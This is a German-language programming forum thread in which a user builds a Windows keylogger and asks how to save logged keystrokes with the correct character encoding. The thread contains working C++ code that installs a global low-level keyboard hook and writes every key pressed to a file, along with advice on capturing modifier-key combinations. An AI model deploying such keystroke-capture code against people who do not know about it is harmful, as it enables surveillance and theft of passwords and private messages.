Charset bei Keyboardhook



  • Hallo zusammen

    Ich habe mir ein kleines Programm geschrieben, das sämtliche eingaben loggt (Keylogger). Da ich von der Hookfunktion gebrauch mache, krieg ich natürlich den vkCode zurück was ja auch schön und gut ist aber sobald ich es zu char konvertiere und es in eine Datei schreibe ist alles ausserhalb a-z Zeichensalat.

    Wie krieg ich es also hin, dass die eingegebenen Tasten als utf-8 gespeichert werden?

    Grüsse,
    bleed_ch



  • wenn du ein low-level keyboradhook nimmst (WH_KEYBOARD_LL) was ich dir auch empfehlen kann, bekommst du die daten in LPARAM und WPARAM übergeben.

    allerdings nur wenn der code == HC_ACTION ist.

    LRESULT __stdcall HookProc(int code, WPARAM wParam, LPARAM lParam)
    {
        if (code == HC_ACTION)
        {
            KBDLLHOOKSTRUCT *ptr = reinterpret_cast<KBDLLHOOKSTRUCT *>(lParam);
            ptr->vkCode; // entspricht dem buchstaben
            ptr->wParam; // entspricht WM_KEYDOWN oder WM_KEYUP
        }
        return CallNextHookEx(hook, code, wParam, lParam);
        // wenn man diese funktion nicht aufruft und 1 zurückgibt, wird die taste
        // systemweit ignoriert
    }
    

    der hook muss allerdings um alle tasteneingaben zu bekommen in einer DLL
    ausgelagert sein. meistens wird man in dem if-block
    ein

    SendMessage(hWnd, WM_USER+wert, wParam, lParam);
    

    schreiben damit die DLL flexibel beibt
    hWnd musst du dir über eine export-funktion holen, wert ist eine
    selbstdefinierbare konstante damit du die nachricht auch bekommst

    hoffe alles gut erklärt zu haben

    MfG helferlein



  • Hallo helferlein

    Herzlichen Dank für deine Antwort. Vieles was du beschrieben hast, habe ich bereits implementiert:

    #include <fstream>
    #include <windows.h>
    
    using namespace std;
    
    void WriteIntoFile(int vkCode)
    {
         ofstream fout("D:\\test\\test.txt", ios_base::app);
         // overkill bei jedem tastendruck ein filestream zu öffnen?
         switch (vkCode) {
                case VK_RETURN:
                     fout << '\n';
                     break;
                case VK_SPACE:
                     fout << ' ';
                     break;
                     /*
                     an dieser stelle hör ich auf ... es gibt einfach zuviele?
                     am besten wär, wenn es 1:1 mit dem korrekten charset übernommen werden könnte
                     */
                default:
                        fout << char(tolower(vkCode));
         }
    }
    
    LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
    {
            if (wParam == WM_KEYDOWN) {
                       PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) lParam;
                       WriteIntoFile(p->vkCode);
            }
            return CallNextHookEx(NULL, nCode, wParam, lParam);
    }
    
    int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
    {
        HHOOK LowLevelKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hInstance, 0);
        MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK);
        return 0;
    }
    

    Ich will ja lediglich die Codes die ich bekomme in korrekter utf-8 kodierung speichern - char() ist dafür selbsterklärend unzureichend. Dein Vorschlag beschreibt ja wie ich im Grundsatz den Keylogger zu realisieren habe aber es hapert bei mir nur noch an dem Punkt.

    Das ganze soll sich später in der Klasse Keylogger wiederfinden darum: ist es möglich die nativen WinAPI funktionen dort zu verwenden? Ich hab normalerweise kein Problem mit C++ aber bei dieser WinAPI blick ich manchmal nicht durch[...]

    Grüsse,
    bleed_ch



  • also zu begin 🙂
    da fehlt mir ein

    UnhookWindowsHookEx(hook);
    

    am ende von WinMain

    so jetzt von oben nach unten:

    overkill ist das eigentlich nicht, da du nur ein zeichen reinschreibst.
    das öffnen setzt zwar eine stl-klasse in bewegung was durchaus viel sein
    kann aber eigentlich bekommst du ja nur ein handle und das system merkt
    sich: die datei ist offen. außerdem puffert die klasse, das system und
    der festplattentreiber eh alles. das fällt kaum bis garnicht ins gewicht.

    ich zitiere kurz meine WinUser.h

    Meine WinUser.h schrieb:

    #define VK_RETURN         0x0D // das ist \n = \13
    ...
    #define VK_SPACE          0x20 // das ist ' ' = 32
    

    diese zwei kannst du einfach so lassen 😃
    bei [alt] oder [strg] wirds ein bissel schwieriger

    [tipp]
    mein hook verwendet [STRG] wenn man die taste drückt und [/STRG] wenn man
    sie wieder loslässt. buchstaben bekommen auch ne klammer [A] damit man
    genau sieht in welcher reihenfolge was gedrückt worden ist.
    [/tipp]

    das kannst du ohne probleme in eine klasse packen.
    ein #include <windows.h> im klassenheader und die teile sind an bord :xmas1:

    noch fragen? 😃



  • Hallo helferlein

    Herzlichen Dank. Also entweder ich verstehe dich nicht oder wir reden aneinander vorbei. Deine Korrekturen hab ich aber übernommen:

    #include <fstream>
    #include <windows.h>
    
    using namespace std;
    
    void WriteIntoFile(int vkCode)
    {
         ofstream fout("D:\\test\\test.txt", ios_base::app);
         fout << char(tolower(vkCode));
    }
    
    LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
    {
            if (wParam == WM_KEYDOWN) {
                       PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) lParam;
                       WriteIntoFile(p->vkCode);
            }
            return CallNextHookEx(NULL, nCode, wParam, lParam);
    }
    
    int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
    {
        HHOOK LowLevelKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hInstance, 0);
        MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK);
        UnhookWindowsHookEx(LowLevelKeyboardHook);
        return 0;
    }
    

    Wenn ich das jetz so ungefiltert in eine Datei schreibe erhalte ich wenn ich auf Google gehe und "yay" eingebe folgendes:

    google¾de¡yay

    Ziemlich karp0tt, oder? Geöffnet hab ich die Datei mit dem Texteditor.

    Ansonsten find ich dein Vorschlag interessant und präzise aber unleserlich: man stelle sich vor ich hielte eine Unterhaltung über einen Instant Messenger ab

    [A][/A][L][/L][O][/O] [F][/F][R][/R][A][/A][N][/N][Z][/Z] [W][/W]&; [G][/G]&; &; [D][/D][R][/R]

    statt

    hallo franz wie geht es dir

    Grüsse,
    bleed_ch



  • Wie unaufmerksam von mir... es gibt ja noch BBCodes. 🙂



  • über lesbarkeit kann man streiten 🙂

    der vorteil ist bei der methode dass man tastenkombinationen mit
    strg oder alt bekommt, und wenn man das log liest kann man einfach
    die tasen so drücken oder loslassen wie es drinsteht.

    nachteil ist halt die lesbarkeit oder z.b. keyrepeat nachrichten die nicht
    erkannt werden

    bleed_ch schrieb:

    google¾de¡yay

    immerhin ist google leserlich 😃
    das ¾ kann ich mir nicht erklären... der punkt wird vllt ne eigene nachricht haben
    das zeichen da kenne ich auch als \n unter windows wird gerne \r\n verwendet,
    vielleicht funktioniert es ja so

    warum verschwindet das <H></H>



  • Das Problem tritt ja noch bei ganz anderen Zeichen auf. Eben alles was ausserhalb von a-z ist.

    Ich vermute mal, dass das ganze in einem anderen Charset gespeichert als danach gelesen wird.

    Und bei den BBCodes ist das "h", "i und das "e" verschwunden und ein paar komische & hinzugekommen... sachen gibt's.

    Gibt es ne Möglichkeit char-Zeichenketten in ein bestimmtes Charset umzuwandeln?

    Grüsse,
    bleed_ch



  • So, ich habe es jetzt. Die Funktion die ich voraussichtlich benötige heisst ToUnicodeEx() -> das wird mir die Zeichen in utf-8 unter Berücksichtigung des Tastaturlayouts (Spracheinstellungen) zurückgeben. Leider ist die WinAPI nativ so ziemlich unverständlich drum hab ich mir den Petzold bestellt.

    Wäre froh wenn vielleicht jemand die Güte hätte mir ein kleines Beispiel von ToUnicodeEx() zu zeigen damit ich mindestens bis Montag was zu tun habe.

    Herzlichen Dank.

    Grüsse,
    bleed_ch


Anmelden zum Antworten